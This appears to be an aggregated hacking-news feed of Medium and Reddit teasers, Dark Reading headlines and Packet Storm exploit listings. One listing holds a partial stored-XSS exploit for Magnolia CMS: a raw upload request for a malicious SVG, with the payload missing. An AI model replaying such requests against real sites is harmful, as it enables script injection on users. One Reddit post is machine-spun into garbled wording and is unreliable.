Hacking on Medium
How to avoid having your smartphone hacked

Use these simple actions to keep your device safe
It’s a horror to become a victim of phone hacking. When a phone is hacked, the worst…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Computer Security Ethics and Privacy

https://cdn-images-1.medium.com/max/1200/1*1na3gAJI4EwGwqt6YqXTAA.jpeg
Today, many people rely on computers to do homework, work, and create or store useful information. Therefore, it is important for the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Magic Write-Up | HackTheBox

https://cdn-images-1.medium.com/max/1400/1*wssqpjD-HecBcNdO-CAHcA.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 12 Most Powerful Password Cracker Tools

https://cdn-images-1.medium.com/max/1200/1*PQJNeWwn78tNRJ_EFqdERg.png
Password Cracker Software

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Microsoft Sentinel Automation Tips & Tricks – Part 2: Playbooks
https://www.reddit.com/r/redteamsec/comments/vsu1zb/microsoft_sentinel_automation_tips_tricks_part_2/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/SentinelTipsPart2) [comments] (https://www.reddit.com/r/redteamsec/comments/vsu1zb/microsoft_sentinel_automation_tips_tricks_part_2/)

___________________________
@hacking_Attack
@Hacking_Video

Red Team : Become a Red Team Hacker
https://www.reddit.com/r/Pentesting/comments/vsuhdr/red_team_become_a_red_team_hacker/

📷 A red team is a gathering of safety experts who are going about as programmers attempting to beat network protection controls. Red teams are normally comprised of moral programmers who work autonomously and dispassionately. They utilize a wide assortment of strategies to track down shortcomings in individuals, cycles, and innovation. Red teams make suggestions and arrangements to assist an association with expanding their security. The target of red joining is to take advantage of, give and take, and dodge blue team guards so an organization can confirm their forestall, identify, and answer capacities. A red team comprises of safety red team administrators that proactively reproduce how digital assaults could be executed progressively against an association. Red teams forcefully seek after all assault vectors including actual security controls and admittance to delicate information, utilizing social designing among different methods. What is a red team operator? Red team administrators are likewise called red teamers and are entrusted with executing enemy copies and accepted break situations. Prepared red team administrators are supposed to have insight in discovery testing, Windows and Linux OS, organizing conventions, and some coding dialects including python, C/C#/C++, Java, and additionally Ruby. What are red team tools? Red teams imitate each step that a programmer would track with the digital eliminate chain. Red joining requires being savvy, sharp, and the capacity to consider outside ordinary cycles. The instruments used to help a red team are different however can be gathered into classifications in light of the stream displayed underneath. This (https://pentestingguide.com/how-to-become-a-red-team-operator/) article will help you to become a successful red team operator. Hope you found it helpful! submitted by /u/Effective-End5561 (https://www.reddit.com/user/Effective-End5561)
[link] (https://www.reddit.com/r/Pentesting/comments/vsuhdr/red_team_become_a_red_team_hacker/) [comments] (https://www.reddit.com/r/Pentesting/comments/vsuhdr/red_team_become_a_red_team_hacker/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Magnolia CMS 6.2.19 Cross Site Scripting

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Magnolia CMS versions 6.2.19 and below suffer from a persistent cross site scripting vulnerability.

SHA-256 | 289cfd7e8ab83c714ebf68612f0144514c8350c9893a24195c411ff0823a4ab5

Download
# Exploit Title: Magnolia CMS <=
# Date: 08/05/2022
# Exploit Author: Giulio Garzia 'Ozozuz'
# Vendor Homepage: https://www.magnolia-cms.com/
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
# Version: 6.2.19
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-33098

Explanation
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.

===== REQUEST =====
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908
Content-Length: 620
Connection: close
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

-----------------------------399178799522967017241464837908
Content-Disposition: form-data; name="140_file"; filename="xss.svg"
Content-Type: image/svg+xml


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
EQS Integrity Line Cross Site Scripting / Information Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xen PV Guest Non-SELFSNOOP CPU Memory Corruption

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Kerberos Redirected Logon Buffer Privilege Escalation

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
On Windows, the buffer for redirected logon context does not protect against spoofing resulting in arbitrary code execution in the LSA leading to local elevation of privilege.

SHA-256 | e5fb08a6edcf0b1b0510543eebe8a2074c96f610873eefbc81fd441dc6b36c39

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exposing Millions of Voter ID card user’s details.

Critical IDOR disclosing millions of Voter ID card details of Individuals on the official voter ID maintaining platform.Continue reading on Medium »
Read more...

hacking: security in practice
Tryhackme 1 Month Voucher Giveaway

Comment your first hack (could also be a tweak or optimisation you did , a bug you found or anything related to cybersecurity/pentesting in general)

1 will be picked as winner

time limit 12 hours

submitted by /u/irankai
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What is the right path to start in XSS (legal)?

Hi , I'm I.T nerd , last 2 years i was learned differents thing about computer science , I used c, c#(ado.net , asp.net , mvc ..) , java (create app Mobil with android studio), web (HTML , CSS , JS , Django ) , but I find myself interesting about cybersecurity (i started using lunix , and creating some short project with python like port scanner , password generator )

but now , i want to stay in web and everything about web(XSS) so if you can help to find the right path , some links , channel in YouTube , or free course in try hack me or hack the box , anything can help

Sry if my English sucks, I'm not a native speaker

submitted by /u/kocmonobtDark
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cloud Misconfig Exposes 3TB of Sensitive Airport Data in Amazon S3 Bucket: 'Lives at Stake'

The unsecured server exposed more than 1.5 million files, including airport worker ID photos and other PII, highlighting the ongoing cloud-security challenges worldwide.

Dark Reading: Attacks/Breaches
How to Keep EVs From Taking Down the Electrical Grid

They may be environmentally friendly, but the surging popularity of electric cars and plug-in hybrids puts the nation's electrical grid at greater risk for malfeasance.